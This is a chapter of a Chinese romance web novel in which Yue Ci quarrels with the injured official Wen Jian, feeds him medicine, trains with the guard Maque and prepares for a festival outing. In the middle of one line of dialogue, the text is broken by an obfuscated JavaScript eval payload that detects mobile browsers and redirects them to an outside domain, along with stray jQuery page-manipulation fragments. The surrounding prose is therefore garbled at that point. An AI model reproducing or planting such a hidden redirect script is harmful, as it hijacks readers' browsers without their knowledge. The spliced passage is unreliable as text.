38. 追月节

作品:《这个掌印不太冷

    黑暗中那双眼睛似乎如星辰般闪烁了一下,带着殷切的期盼。


    敢情他不吃药是等着她来喂呢。


    月慈忽然感觉自己心不跳了,扯直了唇角:“……闻鉴,我是不是太给你脸了。”


    闻鉴似乎不解,好看的眉毛郁结皱起:“可你之前都是这样做的。”


    月慈:“。”她有吗?


    ……好像还真他娘有。


    月慈恶狠狠拿过布袋:“你的意思是,我不喂你就不吃是吧。”


    闻鉴没吭声,只在黑暗中用一双晦暗的眼睛将她望着。


    月慈道:“那就别吃了。”她随手将布袋丢进角落。


    直到闻鉴依旧安安静静坐在黑暗中,沉默了好半晌,月慈才有些后知后觉。


    她这算欺负他吗?


    虽然眼前人未必是她的仇人,但“欺负”他这件事,似乎已经成为了一个习惯。


    月慈摸摸鼻尖,品出了几分微妙。


    吃不吃药,对闻鉴来说都没什么区别,只是他从中察觉到了什么,慢悠悠问:“你在生气,为什么?”


    月慈不是个太过于扭捏的人,她喜欢有话直说,有事直做,但闻鉴却一而再,再而三地欺瞒她。


    她不喜欢这种感觉,干脆坦言道:“因为你有事瞒着我。”


    闻鉴沉默了。


    他和月慈不一样,并不是个坦率的人,不能做到随心所欲。


    月慈此刻恨极了他的沉默,干脆一拳砸在他肩头,厉声呵道:“说话!你他娘的又哑巴了吗!?”


    见闻鉴依旧不吭声,她发狠地想要砸向他的伤口,对方却在此时陡然出声。


    道:“如果我不是杀你姐姐的真凶,你所规划的未来里,会不会也将我带回去?”


    月慈怔住,手还停在半空。


    她不明白闻鉴为什么会突然问出这样荒唐的问题,却是意料之外的没有直接反驳。


    “我不知道。”月慈声音有点抖。


    她是真的不知道答案,因为以前从未设想过这种可能。


    于是闻鉴恍然一笑:“那等你能回答出这个问题的时候,我再告诉你一切。”


    等你也能看清自己的时候。


    黑影撤去,鼻尖的药香变淡了些。


    月慈回过神,知道闻鉴要走了,未曾想动作比脑子更快,先一步拽住了他的手。


    那只微凉如玉的手。


    闻鉴回眸望了过来时,感觉有东西抵在了唇前。


    “张嘴。”那声音不容抗拒道。


    黑暗中,闻鉴眉眼弯了弯,乖乖张开嘴,将那药丸含进嘴里。


    月慈感觉有什么柔软的,湿热的东西舔过自己的手指,脑子空白了一瞬才反应过来。


    她一把扯过被子,下了逐客令:“吃完药了就滚吧,我要休息了!”


    闻鉴身形未动,没有要离开的意思,依旧如鬼魅般立在床头。


    被盯了好半晌,月慈终于忍不了了,从被窝中炸起身,气恼道:“你还要干嘛!”


    闻鉴凉声道:“过段时间,我继续教你袖箭。”


    月慈打了个哈欠:“你好好养你的病,折腾什么啊。”


    他沉默了一会:“那我就去把麻雀阉了。”


    他转身就要走。


    “随便你……”


    等等,不对!


    月慈方才没听清,等回过神来后立马跳下床去抓闻鉴,但因为太过昏暗,不小心撞到桌角把脚给磕了,原地倒抽了一口凉气。


    闻鉴便在这时候转过身,轻轻松松将她提了起来,放在旁边的桌上。


    月慈看闻鉴的视野一下子变成了居高临下,而闻鉴将手撑在两侧,一声不吭地抬头,与她静静对望。


    月慈从未见过这个角度下的闻鉴,不同于以往的阴鸷,那双眼睛意外的明亮,还带着点孩子般的稚嫩,只是眉宇间挂着乌云。


    像是一个正在小发雷霆的孩子,叫月慈想起了那个坐在饭桌上跟她怄气,便只吃饭不吃菜的人。


    甚至,过去和现在的气味都是一样,浓重的苦药味。


    闻鉴盯着她的眼睛,面上看着平静从容,语气却重,一字一顿,如同一把森寒的骨刀,贴着月慈的面颊:“你是想替麻雀求情?”


    月慈从来不怕他的锋利,反而稍稍俯低一些,更加贴近他的冰冷,像是执意要和他对冲。


    便道:“是。好端端的你发什么疯?麻雀又没有犯错,你,你凭什么要把人家那什么。”


    “因为他让我不高兴了。”闻鉴飞快接道,眉间阴郁未消。


    “那我让你高兴了吗?”月慈反问,伸出一根手指不轻不重抵着他胸前的伤,“你现在身上的疼有一半都是我带给你的,你也该是恨我的。”


    “可我觉得这样,很好。”冰雪消融,他像是忽地泄了气,语气也疲软下去,只顺势将脑袋埋在月慈身前。


    月慈被这骤然的举动吓得身子一僵,乍一看像是没有拒绝,任由他靠着。


    她听到他的声音,闷闷的,不似先前那般锋利,倒有些沉重的钝觉。


    “只有疼痛才能让我觉得,我是活着的,而非一个……”


    他说到这便停顿,不再继续往下了。


    月慈感觉那颗脑袋在自己怀里蹭了蹭,毛茸茸的头发拂过她的下巴,挑起一阵痒意,连带着心的位置似乎也被那柔软的发蹭了一下。


    便像是池中鱼受到了惊吓,猛然一跃而起,在平静的湖面溅起一圈圈涟漪。


    原本想要推开的动作变成了犹豫,于是算是默认了他的举动。


    ——


    翌日麻雀不知是领了什么令,不再手把手教月慈招式,只是让她做一些增强体魄和反应力的训练。偶尔他的手想要来扶月慈一把,站在枝杈上的初一便会扯着嗓子大喊,把他吓得将手缩回。


    想来这家伙的命根子是保住了,但还是被人警告了一番。


    月慈往楼阁的方向扫去一眼,却没看见人。


    她头上顶着一个水碗,两只手上分别挂着一袋沙,正扎着马步,不敢乱动,只能用眼瞥向离她几尺远的麻雀。


    问:“你家大人呢?”


    麻雀规规矩矩道:“进宫了。”


    月慈面露诧异:“他都那样了还要进宫么?”


    狗皇帝压榨人啊。


    麻雀道:“过几日是追月节,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133084|156122||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宫中要举办团圆宫宴,掌印事务繁忙,不得不去处理。”


    “追月节……”月慈稍微出神,身形微晃,头顶满满当当的水碗顷刻间溢出不少,浇得她打了个激灵,连带着手上的负重也撑不住了,瞬间像只失去平衡的大鹅,摇摇晃晃往前栽去。


    麻雀往前奔了两步,正欲伸手扶住月慈,又蓦然想起闻鉴的交代,瞬间将手收了回去,眼睁睁看着月慈摔倒在地,好半晌都没动弹。


    初一又扯着嗓子叫了起来,但这次不是警告,而是嘲笑。


    麻雀尴尬地半蹲在月慈面前:“那个……月姑娘,你没事吧。”


    月慈:“。”


    她抬起头,故作淡定,“没事啊,不就摔一跤么。”


    麻雀盯着她的脸,沉思片刻:“月姑娘,你的鼻子……流血了。”


    眼看着那张脸瞬间多云转阴,眼见着就要下暴雨,麻雀试图挽救一下。


    连忙道:“掌印说了!京都城中的追月节尤其热闹,姑娘若是想去,只需在黑鸟卫的陪同下就能出门!”


    月慈表情古怪地顿了一下:“照你这么说,追月节那天闻鉴不回来了?”


    麻雀点了下头:“今日就先练到这吧,姑娘若有其他需要的,尽管吩咐。”


    说完一溜烟跑得飞快,生怕再晚一步自己就会小命不保。


    他们练习时几个侍女就在前院待着,见麻雀离开,小菊才来寻月慈,见她脸上挂着血,吓得立马递过帕子来,又说要去喊大夫。


    月慈拉住她:“不用麻烦,我自己就是大夫。”


    流鼻血对月慈来说只是再小不过的伤,随意处理一番后,她坐在院子内,想到了追月节。


    这个节日又叫团圆日,取阖家团圆之意。可惜她父母早亡,姐姐也已不在人世,唯一的亲人就只有二舅和舅母了。


    那十一封信纸月慈看过许多遍,知道二舅他们过的还好,心中便宽慰许多。按理说她该去信一封,报个平安才是,可思来想去不知如何开头,又唯恐给他们徒增担忧。


    原本要去云城的姑娘突然进了京都,还住在飞鸟阁里,她二舅要是知道,大概能连夜奔袭京都来,一把火把这给点了。


    不对,如果二舅真的知道漠北将军一事的隐情,那么京都对他来说就是最危险的地方。


    月慈压下思念,不敢再动心思,心想着,还是等联系到宣哥那边再说吧。


    只不过这几次的信件总石沉大海,叫她禁不住怀疑些什么。


    闻鉴这段时日应该是真的忙,甚至连回飞鸟阁的时间都没有,楼阁上已经有好几日都没出现过人了。他一消失,连带着青雀也不见,追月节月慈出府的事就交由麻雀全权安排。


    难得能出一趟门,月慈当然不会放过这次机会,然而当她看着面前排成两列的黑鸟卫时,她迟疑了。


    “一定得这样才能出门?”她看向旁边穿着黑衣,把自己包裹得严严实实的麻雀。


    麻雀点头道:“是。飞鸟阁外危机四伏,大人说了,要姑娘在黑鸟卫的陪同下才能出门。”


    说完,他从身后掏出了一个瓷白的鎏银面具和一个帷帽,“这也是为了姑娘的安全着想。”